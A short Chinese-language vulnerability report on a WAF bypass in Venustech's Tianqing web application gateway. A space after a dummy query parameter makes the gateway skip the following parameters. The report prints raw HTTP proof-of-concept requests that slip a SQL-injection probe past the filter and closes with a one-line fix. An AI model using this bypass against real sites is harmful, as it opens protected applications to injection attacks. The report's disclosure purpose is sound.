启明星辰天清Web应用安全网关中存在协议解析绕过漏洞,该漏洞源于对http协议兼容未正确处理。攻击者可利用该漏洞绕过WAF对于querystring的所有过滤,从而攻击受保护的网站。
Servlet/2.5等jsp处理容器,能够正确处理http协议GET /news.jsp?x= &id=16 HTTP/1.1中参数&id=16前面的空格获取id=16这个参数,例如下数据包返回网页正常:
GET /news.jsp?x= &id=16 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Connection: close
Host: www.test.com
Pragma: no-cache
与http://www.test.com/news.jsp?id=16返回网页相同。
而启明星辰天清Web应用安全网关解析协议时,会忽略GET /news.jsp?x= &id=16%20and%201=1 HTTP/1.1中"?x=空格"之后的参数,从而绕过防护。
例直接访问:http://www.test.com/news.jsp?x=%20&id=16%20and%201=1会拦截
构造如下poc绕过:
GET /news.jsp?x= &id=16%20and%201=1 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Connection: close
Host: www.test.com
Pragma: no-cache
修复方案:
正确解析http请求第一行中 url参数带空格字符后的参数
……